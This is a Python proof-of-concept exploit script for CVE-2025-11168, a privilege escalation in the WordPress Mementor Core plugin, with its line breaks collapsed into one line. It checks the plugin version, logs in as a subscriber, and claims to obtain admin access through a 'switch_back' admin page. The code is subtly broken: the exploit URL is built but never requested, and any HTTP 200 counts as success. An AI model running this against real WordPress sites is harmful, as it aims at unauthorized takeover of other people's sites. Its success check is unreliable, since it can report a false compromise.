CVE-2025-11168

import requests import sys from bs4 import BeautifulSoup # CVE-2025-11168 PoC - Privilege Escalation in Mementor Core plugin # Target: WordPress site with Mementor Core plugin <= 2.2.5 def check_version(target_url): """Check if target is vulnerable by checking plugin version""" plugin_url = f"{target_url}/wp-content/plugins/mementor-core/readme.txt" try: response = requests.get(plugin_url, timeout=10) if 'Stable tag: 2.2.5' in response.text: return True except: pass return False def exploit_privilege_escalation(target_url, username, password): """Exploit the privilege escalation vulnerability""" session = requests.Session() # Step 1: Login as low-privilege user (subscriber) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } response = session.post(login_url, data=login_data) if 'wp-admin' not in response.url: print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Trigger user switch back vulnerability # The vulnerability allows low-privilege users to access admin functions exploit_url = f"{target_url}/wp-admin/admin.php?page=mementor_user_switch&action=switch_back" # Step 3: Attempt to access admin panel with elevated privileges admin_check = session.get(f"{target_url}/wp-admin/index.php") if 'dashboard' in admin_check.text.lower() or admin_check.status_code == 200: print("[+] Privilege escalation successful - Admin access obtained") return True print("[-] Exploitation failed - Target may be patched or not vulnerable") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-11168.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing target: {target}") if check_version(target): print("[+] Target appears to be running vulnerable version") exploit_privilege_escalation(target, user, pwd)

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